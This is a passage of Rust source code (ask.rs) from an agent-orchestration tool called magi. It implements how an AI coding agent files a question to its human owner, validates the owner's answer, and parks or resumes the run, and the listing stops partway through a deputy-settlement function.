Skip to main content

magi/
ask.rs

1//! Questions: what an agent does when the next decision is the owner's.
2//!
3//! An agent that reaches a fork it has no authority to take - which storage
4//! backend, whether a breaking change is acceptable, which of two readings of
5//! the task is meant - has two options. It can guess, and produce an
6//! implementation the owner throws away; or it can stop and ask. This module is
7//! the second option, and it is the reason the graph can be left alone
8//! overnight without also being left to invent product decisions.
9//!
10//! Stopping is cheap on purpose. The run parks as [`RunStatus::Waiting`], which
11//! [`crate::daemon::settle`] refunds, so a question does not spend a task's
12//! retry budget: an operator who asks twice would otherwise come back to a held
13//! task that never had a line of code judged.
14//!
15//! # Shape
16//!
17//! Deliberately the same split as [`crate::queue`]. [`Question`] is data plus
18//! *pure* transitions - [`Question::answer`] is where a phone posting a choice
19//! the question never offered is rejected, and it touches no disk. [`Questions`]
20//! owns all I/O and is constructed with its root, so a test drives a real store
21//! in a temp directory without touching the operator's real home.
22//!
23//! One question is one JSON file under [`Questions`]'s root, written atomically.
24//! Files rather than a database because three processes read and write these
25//! records - the run that asked, `magi web` serving the phone, and `magi answer`
26//! at a terminal - and a rename is the only cross-process atomic write that
27//! needs no coordination between them. It is also why the wait below polls: the
28//! answer arrives in a file written by a process this one has no channel to.
29//!
30//! [`RunStatus::Waiting`]: crate::run::RunStatus::Waiting
31
32use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43/// On-disk format for a question. Bumped when a field's meaning changes, or -
44/// as with [`Question::thread`], [`Question::answer_timeout`] and now the
45/// waiter bookkeeping ([`Question::cwd`], [`Question::waiter`],
46/// [`Question::delivered_turns`], [`Question::answer_delivered`]) - when a
47/// new field is added that a much older magi has no notion of at all.
48///
49/// The web UI is written against this shape by hand - there is no shared schema
50/// between the front end and this struct - so a field that changes meaning
51/// without a bump here is a UI that lies silently.
52///
53/// A file is refused only when its own `schema` is *greater* than this one -
54/// see [`read_path`] - never merely different: `#[serde(default)]` on every
55/// field added since 1 is what makes an older file's absence of `thread` mean
56/// "no conversation yet" rather than "unreadable", and a strict equality check
57/// would turn every bump into an upgrade that breaks reading yesterday's
58/// question files.
59/// Schema 8 adds optional local posting comparison data. Older questions use Markdown.
60/// Schema 9 preserves individual original triggers inside whole-field replacements.
61/// Schema 10 records the operator decision generation for built-in triage.
62/// Schema 11 binds merge decisions to the displayed PR and head.
63pub const SCHEMA: u32 = 11;
64
65/// How often the wait re-reads the question file.
66///
67/// Three seconds: the answer comes from a human on a phone, so the difference
68/// between three seconds and three hundred milliseconds is invisible to them,
69/// while a tight loop would `stat` and parse a file thousands of times per
70/// minute for a wait that routinely lasts hours. Nothing is held between polls -
71/// no lock, no open handle - because `magi web` and `magi answer` write the
72/// same file from other processes.
73const POLL: Duration = Duration::from_secs(3);
74
75/// How long an agent's reply may go unnoticed before it earns its own
76/// notification.
77///
78/// An operator reading the card when the agent replies does not need paging
79/// again for a conversation they are already in; one who walked away still
80/// needs the tap on the shoulder. Five minutes is a judgement call about that
81/// line, not a policy a repository has an opinion about, which is why it lives
82/// here rather than in `magi.toml`: the operator cannot tell from `magi.toml`
83/// whether they are still looking at the phone, and neither can this build, so
84/// there is nothing for a per-repository setting to be *right* about.
85const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
86
87/// How long the operator's notification command may run before it is killed.
88///
89/// A webhook that hangs must not hang the run. Twenty seconds is long enough
90/// for a slow HTTP round trip and short enough that the operator still gets the
91/// question filed and the run parked in a bounded time.
92const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
93
94/// The longest a single `magi ask` invocation may block on the owner before
95/// it hands the wait back to whatever is running it, rather than to
96/// [`Question::abandon`].
97///
98/// `answer_timeout` defaults to a day, and that is a deadline for the
99/// *question*, not a budget the calling process is free to spend all at
100/// once: an agent CLI's own shell tool kills a command that runs much longer
101/// than this, and the child it kills is `magi ask` itself - the one thing
102/// that would have read the owner's answer. Run 20260908-205802-c9eb is what
103/// that looks like end to end: seat `impl-A` asked, its tool timed the wait
104/// out, and the seat's own summary said it had backgrounded the blocking
105/// `magi ask` and would "continue once the owner replies" - except nothing
106/// was left to notice the reply. The seat exited `completed`, the
107/// backgrounded child died with it, and the owner's eventual answer on the
108/// web UI had nobody left to read it.
109///
110/// So a wait is sliced instead: this call blocks for at most `WAIT_SLICE`
111/// and returns [`Wait::Pending`] if nothing happened, which is not a
112/// failure - the caller runs `magi ask --wait <id>` again, in a fresh
113/// process the tool timeout has never seen. Four minutes leaves a ten-minute
114/// tool budget room for the CLI's own startup and the notification's round
115/// trip, while staying long enough that an owner who answers within the hour
116/// is not making an agent loop through fifteen slices to hear about it.
117const WAIT_SLICE: Duration = Duration::from_secs(240);
118
119/// How long a lease stays believable after its last beat.
120///
121/// Longer than [`WAIT_SLICE`]'s hand-back gap by a wide margin: a slice that
122/// ends with [`Wait::Pending`] leaves the asking agent a moment to call
123/// `magi ask --wait` again, and a reply leaves it a moment to call `--thread`.
124/// A holder that beats every [`POLL`] and is silent for ninety seconds is gone
125/// or about to be, and a lease that is merely between two calls must not be
126/// mistaken for that - the daemon waiter would start a second agent on a
127/// conversation the first is still in.
128pub const LEASE_TTL: Duration = Duration::from_secs(90);
129
130/// How long [`Questions::update`]'s lock may be held before it is presumed
131/// left behind by a writer that died.
132const LOCK_STALE: Duration = Duration::from_secs(10);
133
134/// Environment variable naming the base URL of the web UI, for `{url}`.
135///
136/// A run cannot discover this by itself: `magi web` is a different process,
137/// usually started by hand and often on a different machine on the tailnet, and
138/// the address it settled on (Tailscale IP, port, or the fallback it warned
139/// about) exists only in that process. So the operator names it once, in the
140/// environment `magi serve` runs in - `magi web --open` prints exactly the
141/// string to use on stdout. Unset means `{url}` expands to nothing rather than
142/// to a guess: a notification carrying a link to an address nothing is
143/// listening on is worse than one carrying no link at all.
144pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
145
146/// Largest panel magi will store, html plus assets.
147///
148/// Checked as a total, before a single byte is written, because the failure
149/// this prevents is not a full disk but a half-copied panel: an agent that
150/// points at a 200 MB screen recording must get one clean error, not a
151/// directory holding the three small files that fitted before the copy died.
152/// Eight mebibytes is far more than a diff, a table and a handful of images
153/// need, and small enough that a phone on a hotel link still renders it.
154pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
155
156/// Suffix of the directory holding one question's panel.
157///
158/// A sibling of `<id>.json` rather than a subdirectory of the store, so
159/// [`Questions::list`] - which takes every `*.json` in the root - cannot ever
160/// see it, and so a panel travels with the question it belongs to.
161const PANEL_DIR: &str = ".panel";
162
163/// The panel's entry point inside its directory.
164const PANEL_HTML: &str = "index.html";
165
166/// Scratch directory a panel is assembled in before it is swapped into place.
167const PANEL_TMP: &str = ".panel.tmp";
168
169/// The one asset filename rule, applied on write **and** on read.
170///
171/// Exactly `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$`, and additionally never
172/// containing `..`. The pattern is this narrow because the name arrives from
173/// two untrusted directions and is then joined onto a path: an agent naming
174/// the asset, and a URL naming it back to [`Questions::panel_asset`]. Every
175/// character that could change what the join means is outside the set - `/`
176/// and `\` cannot appear, so no name can descend or escape; a leading `.` is
177/// refused, so no name can be `..`, `.` or a dotfile; a drive letter's `:` is
178/// refused, which matters because on Windows `Path::join` with an absolute
179/// path *discards the whole prefix* and would serve any file on the disk.
180/// `..` is refused anywhere rather than only at the front so the rule reads
181/// the same as the sentence "no traversal" to anyone auditing it.
182///
183/// The length bound keeps a name inside every filesystem's limit, so a panel
184/// that stores cannot fail to store on the operator's other machine.
185pub fn valid_asset_name(name: &str) -> bool {
186    if name.is_empty() || name.len() > 64 || name.contains("..") {
187        return false;
188    }
189    let mut chars = name.chars();
190    chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
191        && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
192}
193
194/// Where a question is in its life.
195#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
196#[serde(rename_all = "lowercase")]
197pub enum QuestionStatus {
198    /// Asked, and waiting for the owner. A run is parked behind it.
199    Open,
200    /// The owner decided. [`Question::answer`] holds what they said.
201    Answered,
202    /// Nobody answered in time, or the question outlived the run that asked.
203    /// Kept rather than deleted: what was asked and never answered is the
204    /// evidence that the operator was the bottleneck.
205    Abandoned,
206}
207
208impl QuestionStatus {
209    /// Is a run still parked behind this question?
210    pub fn open(self) -> bool {
211        matches!(self, Self::Open)
212    }
213
214    /// Lowercase name, as it appears on disk and in the API.
215    pub fn as_str(self) -> &'static str {
216        match self {
217            Self::Open => "open",
218            Self::Answered => "answered",
219            Self::Abandoned => "abandoned",
220        }
221    }
222}
223
224/// What the owner said.
225///
226/// Two shapes rather than one string because the question decides which is
227/// admissible, and [`Question::answer`] enforces it. A phone that posts
228/// `{"choice": "Redis"}` to a question that never offered Redis is a bug in the
229/// front end, and it is caught here rather than handed to an agent as fact.
230#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
231#[serde(rename_all = "lowercase")]
232pub enum Answer {
233    /// One of the offered choices, verbatim.
234    Choice(String),
235    /// Free text, for a question that offered no choices.
236    Text(String),
237}
238
239/// What the daemon does to the task behind a question when a particular
240/// choice is answered.
241///
242/// A closed set, attached to a choice by the asker (`magi ask --choice X
243/// --action X=resume`) and matched by the choice's exact text. Nothing here
244/// is ever derived from the wording of a label or of a free-text answer: a
245/// question without an action for the chosen label does nothing but answer.
246#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
247#[serde(tag = "do", rename_all = "lowercase")]
248pub enum ChoiceAction {
249    /// Resume this run of the task that owns the question.
250    Resume {
251        /// The run to continue. Must still be the task's latest run.
252        run: String,
253    },
254    /// Requeue the task as a fresh competition.
255    Requeue,
256    /// Hold the task until the operator releases it.
257    Hold,
258    /// Close the task as done.
259    Done,
260}
261
262impl ChoiceAction {
263    /// Parse a `--action` value: `<label>=<verb>`, where the verb is
264    /// `resume[:<run>]`, `requeue`, `hold` or `done`. A `resume` without a run takes
265    /// `default_run` (the asker's own `MAGI_RUN`). Returns the label and its
266    /// action; whether the label is one of the choices is the caller's check.
267    pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
268        let Some((label, verb)) = spec.rsplit_once('=') else {
269            bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|hold|done>`");
270        };
271        let label = label.trim();
272        if label.is_empty() {
273            bail!("`--action {spec}` names no choice before `=`");
274        }
275        let verb = verb.trim();
276        let action = match verb.split_once(':') {
277            Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
278                run: run.trim().to_owned(),
279            },
280            None if verb == "resume" => {
281                if default_run.is_empty() {
282                    bail!("`--action {spec}` names no run and MAGI_RUN is not set");
283                }
284                Self::Resume {
285                    run: default_run.to_owned(),
286                }
287            }
288            None if verb == "requeue" => Self::Requeue,
289            None if verb == "hold" => Self::Hold,
290            None if verb == "done" => Self::Done,
291            _ => bail!(
292                "unknown action `{verb}` in `--action {spec}`; \
293                 use resume[:<run>], requeue, hold or done"
294            ),
295        };
296        Ok((label.to_owned(), action))
297    }
298
299    /// Stable aliases for internal recovery, independent of display labels.
300    /// Other effects still require their offered labels and existing consent.
301    pub fn matches_alias(&self, input: &str) -> bool {
302        let input = input.trim();
303        match self {
304            Self::Resume { run } => {
305                [
306                    "resume",
307                    "resume run",
308                    "resume-run",
309                    "再開",
310                    "実行再開",
311                    "実行を再開",
312                    "実行を再開する",
313                ]
314                .iter()
315                .any(|alias| input.eq_ignore_ascii_case(alias))
316                    || [
317                        format!("resume {run}"),
318                        format!("resume:{run}"),
319                        format!("resume run {run}"),
320                        format!("resume {}", short(run)),
321                        format!("resume run {}", short(run)),
322                    ]
323                    .iter()
324                    .any(|alias| input.eq_ignore_ascii_case(alias))
325            }
326            Self::Hold => ["hold", "keep-held", "keep held", "保留"]
327                .iter()
328                .any(|alias| input.eq_ignore_ascii_case(alias)),
329            _ => false,
330        }
331    }
332
333    /// Short human wording, for `magi show` and the card.
334    pub fn describe(&self) -> String {
335        match self {
336            Self::Resume { run } => format!("resume run {}", short(run)),
337            Self::Requeue => "requeue the task".to_owned(),
338            Self::Hold => "hold the task until the operator releases it".to_owned(),
339            Self::Done => "mark the task done".to_owned(),
340        }
341    }
342}
343
344/// Parse every `--action` value against the offered `choices`, refusing a
345/// label the question does not offer (it could never fire).
346pub fn parse_actions(
347    specs: &[String],
348    choices: &[String],
349    default_run: &str,
350) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
351    let mut out = std::collections::BTreeMap::new();
352    for spec in specs {
353        let (label, action) = ChoiceAction::parse(spec, default_run)?;
354        if !choices.contains(&label) {
355            bail!(
356                "`--action {spec}`: `{label}` is not one of the --choice values ({})",
357                choices.join(", ")
358            );
359        }
360        if out.insert(label.clone(), action).is_some() {
361            bail!("more than one --action for `{label}`");
362        }
363    }
364    Ok(out)
365}
366
367/// Who wrote one turn of a question's conversation.
368///
369/// Two values, not three: [`Question::thread`] is the record of a single
370/// question stopping and resuming, and the agent that resumes it is always
371/// the one that asked - a fresh consultant would have to be caught up on
372/// everything the first agent already knows, which is the round trip this
373/// module exists to avoid. The names and the wire spelling deliberately match
374/// [`crate::chat::Who`], which this module does not depend on: the two are the
375/// same idea in two products, and giving them the same shape is what lets the
376/// phone render both with one component.
377#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
378#[serde(rename_all = "lowercase")]
379pub enum Who {
380    /// The person the agent asked.
381    Operator,
382    /// The agent that asked, replying to a question of its own rather than
383    /// answering.
384    Agent,
385}
386
387/// One turn in a question's back-and-forth, after the question itself was
388/// asked.
389///
390/// The question's own `summary`/`detail`/`choices` already carry the agent's
391/// opening move, so a turn only exists from the moment the owner talks back -
392/// [`Question::thread`] starts empty and stays that way for the overwhelming
393/// majority of questions, which are answered on the first read.
394#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
395#[serde(deny_unknown_fields)]
396pub struct Turn {
397    /// Who said it.
398    pub who: Who,
399    /// What they said.
400    pub body: String,
401    /// When they said it.
402    pub at: Timestamp,
403    /// A deputy's own report beside a settle: side effects it caused and
404    /// requests it could not carry out. The deputy's claim, never checked by
405    /// magi, and kept apart from `body` so the verified "Settled as" line and
406    /// this self-report cannot be mistaken for each other.
407    #[serde(default, skip_serializing_if = "Option::is_none")]
408    pub note: Option<String>,
409}
410
411/// Who is keeping watch over an open question.
412#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
413#[serde(rename_all = "lowercase")]
414pub enum WaiterKind {
415    /// The `magi ask` process the agent started.
416    Asker,
417    /// The `magi serve` waiter ([`crate::waiter`]), resuming the asking seat's
418    /// own session because the asker is gone.
419    Daemon,
420    /// The question's deputy ([`crate::deputy`]): a short-lived seat that
421    /// `magi serve` runs for a question the conductor filed, so that something
422    /// which remembers why it was asked is on the other end.
423    Deputy,
424}
425
426/// The follow-up seat a conductor question hands its wait to.
427///
428/// The conductor itself never waits (see [`crate::conduct`]), so a free-text
429/// reply to its question would reach nobody. A deputy is a seat of its own -
430/// keyed `deputy-<question id>`, never the conductor's shared seat - that
431/// inherits what the conductor knew about this one question ([`Deputy::brief`])
432/// and blocks on it with `magi ask --wait`. Persisted on the question so a
433/// restarted daemon resumes the same CLI conversation instead of assuming it.
434///
435/// Written only through [`Questions::update`]: the owner's say and answer land
436/// on the same file.
437#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
438pub struct Deputy {
439    /// Why the question was asked, what each choice leads to: the conductor's
440    /// context for this one question, handed to the deputy in its prompt.
441    pub brief: String,
442    /// The agent that holds the seat. Empty until the first start.
443    #[serde(default)]
444    pub agent: String,
445    /// The deputy's own conversation. `None` until the first start.
446    #[serde(default)]
447    pub seat: Option<crate::agent::SeatState>,
448    /// How many times a deputy turn was started for this question. Never reset
449    /// by a restart, so a deputy that keeps dying is bounded.
450    #[serde(default)]
451    pub starts: u32,
452}
453
454impl Deputy {
455    /// A deputy that has not started yet, holding `brief`.
456    pub fn new(brief: String) -> Self {
457        Self {
458            brief,
459            agent: String::new(),
460            seat: None,
461            starts: 0,
462        }
463    }
464}
465
466/// Seat name of the deputy for question `id`.
467pub fn deputy_seat_key(id: &str) -> String {
468    format!("deputy-{}", short(id))
469}
470
471/// The record's note of who was last known to be waiting.
472///
473/// A note, not a promise: nothing rewrites the question when a holder dies, so
474/// whether it still holds is read from the [`Lease`] beside it.
475#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
476pub struct Waiter {
477    /// Who took the wait.
478    pub kind: WaiterKind,
479    /// When they took it.
480    pub since: Timestamp,
481}
482
483/// A sidecar (`<id>.lease`) saying that something is alive and waiting.
484///
485/// A sidecar rather than a field of the question because a holder beats every
486/// few seconds, and rewriting the question that often would race the phone's
487/// answer and say with lost updates. It is not `*.json`, so
488/// [`Questions::list`] never sees it. No pid check: pids are reused and mean
489/// different things across platforms, while a beat that stopped is evidence on
490/// every one.
491#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
492pub struct Lease {
493    /// Who beat last.
494    pub kind: WaiterKind,
495    /// Their process id, for a human reading the file.
496    pub pid: u32,
497    /// When they beat last.
498    pub beat_at: Timestamp,
499}
500
501impl Lease {
502    /// Was the last beat recent enough to believe the holder is still there?
503    pub fn fresh(&self, now: Timestamp) -> bool {
504        now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
505    }
506}
507
508/// One decision magi will not take on the owner's behalf.
509#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
510#[serde(deny_unknown_fields)]
511pub struct Question {
512    /// On-disk format version.
513    pub schema: u32,
514    /// Question id, e.g. `20260902-231501-ab12`. Same shape as a run's and a
515    /// task's, so the operator can paste any of them at any prefix argument.
516    pub id: String,
517    /// Run that is parked behind this question.
518    pub run: String,
519    /// Graph node the asking agent was working in, e.g. `implement`.
520    pub node: String,
521    /// Seat that asked, e.g. `impl-A`. Recorded because "which agent needs
522    /// this" decides whether the answer unblocks one candidate or all of them.
523    pub seat: String,
524    /// One line: the question itself. This is what a notification carries and
525    /// what the phone shows above the answer controls.
526    pub summary: String,
527    /// The reasoning behind the question, as markdown. May be long, may be
528    /// empty. Rendered as text nodes by the UI, never as markup.
529    pub detail: String,
530    /// Display-only comparison; never used to decide or construct a post.
531    #[serde(default, skip_serializing_if = "Option::is_none")]
532    pub posting_comparison: Option<crate::github_text::PostingComparison>,
533    /// The admissible answers. **Empty means free text** - that one condition
534    /// is the whole difference between the two kinds of question, on disk, in
535    /// the UI, and in [`Question::answer`]'s validation.
536    pub choices: Vec<String>,
537    /// Exact PR and head displayed to the owner. Absent on legacy questions.
538    #[serde(default)]
539    pub merge_target: Option<crate::merge_decision::Target>,
540    /// What the daemon does when a given choice is answered, keyed by the
541    /// choice's exact text. Empty for an ordinary question. A key is always
542    /// one of [`Question::choices`]; `#[serde(default)]` so older files read.
543    #[serde(default)]
544    pub actions: std::collections::BTreeMap<String, ChoiceAction>,
545    /// Does this question have an agent-authored HTML panel beside it?
546    ///
547    /// Serialised with a default so a question written by an older magi - or
548    /// by hand - still deserialises rather than failing the whole store, which
549    /// under [`Questions::list`]'s skip-unreadable rule would quietly hide the
550    /// open question the operator was looking for.
551    #[serde(default)]
552    pub panel: bool,
553    /// Files copied in beside the panel's html, by base name, sorted.
554    ///
555    /// The list exists so a reader knows what a panel is made of without
556    /// walking the directory, and every entry satisfies [`valid_asset_name`].
557    /// Sorted because it is compared - a question re-asked with the same
558    /// assets in a different argument order is not a different question.
559    #[serde(default)]
560    pub assets: Vec<String>,
561    /// Current state.
562    pub status: QuestionStatus,
563    /// When the agent asked.
564    pub asked_at: Timestamp,
565    /// Operator decision generation when a built-in triage question was filed.
566    #[serde(default)]
567    pub triage_generation: Option<u64>,
568    /// When the owner answered, if they did.
569    pub answered_at: Option<Timestamp>,
570    /// What they said.
571    pub answer: Option<Answer>,
572    /// Everything said after the question itself, oldest first: the owner
573    /// asking back, the agent replying, as many times as it takes before an
574    /// [`Answer`] lands.
575    ///
576    /// `#[serde(default)]` so a question written before this field existed -
577    /// every question on disk before this build - still deserialises as one
578    /// with no conversation yet, rather than failing [`Questions::list`]'s
579    /// read and quietly hiding an open question from the operator.
580    #[serde(default)]
581    pub thread: Vec<Turn>,
582    /// The `answer_timeout`, in seconds, that was in force when this question
583    /// was first asked. `0` means unrecorded - a question written before this
584    /// field existed, or one filed by a flow (land's merge-approval gate)
585    /// that never sets it because it never resumes a sliced wait.
586    ///
587    /// [`Question::new`] cannot know this - the effective timeout (`--timeout`,
588    /// or the config default) is decided by the caller, after the question
589    /// already exists - so it starts at `0` here and whoever files a fresh
590    /// question sets it once, the same way [`Question::panel`] is set by
591    /// [`Questions::put_panel`] rather than by the constructor. It is never
592    /// touched again: `magi ask --wait` reads it as the one deadline it is
593    /// allowed to enforce, precisely so that a `--timeout` given (or omitted)
594    /// on a later call can never quietly extend or shrink the budget the
595    /// question was actually asked with.
596    #[serde(default)]
597    pub answer_timeout: u64,
598    /// The directory the asking agent was working in when it asked, so the
599    /// daemon waiter can resume that agent's session from where it stood.
600    /// `None` for a question no `magi ask` filed (land's approval gate, a
601    /// release notice, one written before this field existed): those have no
602    /// agent to hand anything back to, and the waiter leaves them alone.
603    #[serde(default)]
604    pub cwd: Option<String>,
605    /// Who was last known to be waiting - see [`Waiter`].
606    #[serde(default)]
607    pub waiter: Option<Waiter>,
608    /// How many entries of [`Question::thread`] the agent has been shown, by
609    /// the asking process printing them or by the waiter resuming the seat.
610    /// The owner's turn at an index at or past this has reached nobody yet.
611    #[serde(default)]
612    pub delivered_turns: usize,
613    /// Has the agent been told the [`Answer`]? The asker prints it as it
614    /// returns; the waiter delivers it when the asker was gone.
615    #[serde(default)]
616    pub answer_delivered: bool,
617    /// The follow-up seat waiting on this question, for a question the
618    /// conductor filed. `None` for every other question.
619    #[serde(default)]
620    pub deputy: Option<Deputy>,
621    /// Set once the owner handed this question to the chat it came from
622    /// ([`crate::consult::begin`]). The question stays open; this only records
623    /// that the chat was asked, so a second tap does not post it twice.
624    #[serde(default)]
625    pub consult: Option<ChatConsult>,
626    /// Persisted owner evidence for a standing conversation answer.
627    #[serde(default, skip_serializing_if = "Option::is_none")]
628    pub answer_authority: Option<crate::consult::AnswerAuthority>,
629    /// Independent task facts behind a conductor question. Answered questions
630    /// with unchanged facts must not be regenerated just to ask again.
631    #[serde(default)]
632    pub decision_context: Option<String>,
633}
634
635/// A question the owner passed to the chat conversation its task came from.
636#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
637pub struct ChatConsult {
638    /// The conversation the question was posted into.
639    pub talk: String,
640    /// When it was posted.
641    pub at: Timestamp,
642}
643
644impl Question {
645    /// Does `run` hold a task id rather than a run id? True for the
646    /// conductor's and the triage questions, which are filed about a task.
647    pub fn run_names_task(&self) -> bool {
648        matches!(
649            self.node.as_str(),
650            crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
651        )
652    }
653
654    /// Ask something. Persist it with [`Questions::put`], or hand it to
655    /// [`ask_and_wait`], which files it and waits.
656    pub fn new(
657        run: String,
658        node: String,
659        seat: String,
660        summary: String,
661        detail: String,
662        choices: Vec<String>,
663    ) -> Self {
664        Self {
665            schema: SCHEMA,
666            id: new_id(),
667            run,
668            node,
669            seat,
670            summary,
671            detail,
672            posting_comparison: None,
673            choices,
674            merge_target: None,
675            actions: std::collections::BTreeMap::new(),
676            panel: false,
677            assets: Vec::new(),
678            status: QuestionStatus::Open,
679            asked_at: Timestamp::now(),
680            triage_generation: None,
681            answered_at: None,
682            answer: None,
683            thread: Vec::new(),
684            answer_timeout: 0,
685            cwd: None,
686            waiter: None,
687            delivered_turns: 0,
688            answer_delivered: false,
689            deputy: None,
690            consult: None,
691            answer_authority: None,
692            decision_context: None,
693        }
694    }
695
696    /// Short form used in reports and on the phone, matching a run's short id.
697    pub fn short(&self) -> &str {
698        short(&self.id)
699    }
700
701    /// The action attached to the choice that was answered, if the question
702    /// is answered with a choice that carries one. Free text never matches.
703    pub fn chosen_action(&self) -> Option<&ChoiceAction> {
704        match (&self.status, &self.answer) {
705            (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
706            _ => None,
707        }
708    }
709
710    /// Does this question want free text rather than one of a set?
711    pub fn free_text(&self) -> bool {
712        self.choices.is_empty()
713    }
714
715    /// Resolve terminal aliases to the exact stored label before authorization.
716    /// Aliases describe structured effects, never translated display text.
717    pub fn resolve_reply<'a>(&'a self, reply: &'a str) -> Result<&'a str> {
718        if self.free_text() || self.choices.iter().any(|c| c == reply) {
719            return Ok(reply);
720        }
721        if ChoiceAction::Hold.matches_alias(reply)
722            && let Some(label) = self
723                .choices
724                .iter()
725                .find(|label| crate::triage::contextual_keep_held(self, label))
726        {
727            return Ok(label);
728        }
729        let matches: Vec<_> = self
730            .actions
731            .iter()
732            .filter(|(label, action)| self.choices.contains(label) && action.matches_alias(reply))
733            .collect();
734        match matches.as_slice() {
735            [(label, _)] => Ok(label.as_str()),
736            [] => bail!(
737                "alias mismatch: `{reply}` is not an offered label or supported action alias; inspect `magi answer --list`"
738            ),
739            _ => bail!(
740                "ambiguous action alias: `{reply}` matches multiple choices; select the intended offered label"
741            ),
742        }
743    }
744
745    /// Record an answer. Rejects a choice the question does not offer, free
746    /// text on a multiple-choice question, an empty answer, and a second
747    /// answer.
748    ///
749    /// Every rejection here is a case where accepting would put a fabrication
750    /// in front of an agent as if the owner had said it. The messages are
751    /// distinct because the caller is a web handler that shows them verbatim,
752    /// and "that is not one of the choices" and "this question is multiple
753    /// choice" are different mistakes with different fixes.
754    pub fn answer(&mut self, answer: Answer) -> Result<()> {
755        match self.status {
756            QuestionStatus::Answered => bail!(
757                "question {} was already answered; the run has moved on and a \
758                 second answer would be a decision nobody acted on",
759                self.short()
760            ),
761            QuestionStatus::Abandoned => bail!(
762                "question {} was abandoned and the run behind it is gone",
763                self.short()
764            ),
765            QuestionStatus::Open => {}
766        }
767        let body = match &answer {
768            Answer::Choice(c) | Answer::Text(c) => c.as_str(),
769        };
770        if body.trim().is_empty() {
771            bail!(
772                "question {} needs an answer; an empty one tells the agent \
773                 nothing and it would guess anyway",
774                self.short()
775            );
776        }
777        match &answer {
778            Answer::Choice(c) if self.free_text() => bail!(
779                "question {} asks for free text, so `{c}` cannot be a choice \
780                 it offered",
781                self.short()
782            ),
783            Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
784                "`{c}` is not one of the choices question {} offers: {}",
785                self.short(),
786                self.choices.join(", ")
787            ),
788            Answer::Text(_) if !self.free_text() => bail!(
789                "question {} is multiple choice; answer with one of: {}",
790                self.short(),
791                self.choices.join(", ")
792            ),
793            _ => {}
794        }
795        if body.eq_ignore_ascii_case(crate::land::HOLD) && self.actions.contains_key(body) {
796            bail!("hold cannot execute a question action");
797        }
798        self.answered_at = Some(Timestamp::now());
799        self.answer = Some(answer);
800        self.status = QuestionStatus::Answered;
801        Ok(())
802    }
803
804    /// Give up on an answer, keeping the record of what was asked.
805    ///
806    /// An answered question is left alone, which matters at exactly one moment:
807    /// the owner answering in the same second the wait's deadline passes. The
808    /// answer is the thing worth keeping there, and it has already been written
809    /// by another process.
810    ///
811    /// The reason is appended to [`Question::detail`] because the on-disk shape
812    /// is a contract with the front end and has no field of its own for it -
813    /// and "asked at 3am, nobody home for a day" belongs with the question, not
814    /// only in a log the operator will never open.
815    pub fn abandon(&mut self, why: impl Into<String>) {
816        if !self.status.open() {
817            return;
818        }
819        self.status = QuestionStatus::Abandoned;
820        let why = why.into();
821        let why = why.trim();
822        if why.is_empty() {
823            return;
824        }
825        if !self.detail.is_empty() {
826            self.detail.push('\n');
827        }
828        self.detail.push_str("\n_Abandoned: ");
829        self.detail.push_str(why);
830        self.detail.push_str("._\n");
831    }
832
833    /// The answer as the asking agent should read it.
834    ///
835    /// One string for both kinds of question: the agent's prompt says "the
836    /// owner answered:", and a chosen option and a typed sentence are the same
837    /// thing at that point. `None` while the question is open or abandoned, so
838    /// a caller cannot mistake silence for a decision.
839    pub fn resolution(&self) -> Option<String> {
840        match (self.status, &self.answer) {
841            (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
842                Some(a.clone())
843            }
844            _ => None,
845        }
846    }
847
848    /// A deputy recording that the owner's own words settled the question.
849    ///
850    /// The owner decided in free text ("setup done") on a question that offers
851    /// choices, so no choice was ever tapped. This records `label` as the
852    /// answer - and nothing else: applying it is the daemon's existing path
853    /// for an answered conductor question. Refused unless the caller is this
854    /// question's deputy seat, `label` is one of the offered choices, and
855    /// `quote` appears verbatim in something the owner said; the quote is
856    /// kept in the thread as an agent turn so the record shows what the
857    /// decision rests on.
858    pub fn settle_by_deputy(
859        &mut self,
860        seat: &str,
861        label: &str,
862        quote: &str,
863        note: Option<&str>,
864    ) -> Result<()> {
865        let Some(deputy) = &self.deputy else {
866            bail!("question {} has no deputy", self.short());
867        };
868        let own = deputy.seat.as_ref().map(|s| s.key.as_str());
869        if own != Some(seat) {
870            bail!("only the deputy of question {} may settle it", self.short());
871        }
872        if !self.choices.iter().any(|c| c == label) {
873            bail!(
874                "`{label}` is not one of the choices offered on question {}",
875                self.short()
876            );
877        }
878        let quote = quote.trim();
879        if quote.is_empty()
880            || !self
881                .thread
882                .iter()
883                .any(|t| t.who == Who::Operator && t.body.contains(quote))
884        {
885            bail!(
886                "the quote is not something the owner said on question {}",
887                self.short()
888            );
889        }
890        // The owner's latest message is what counts (an earlier one may since
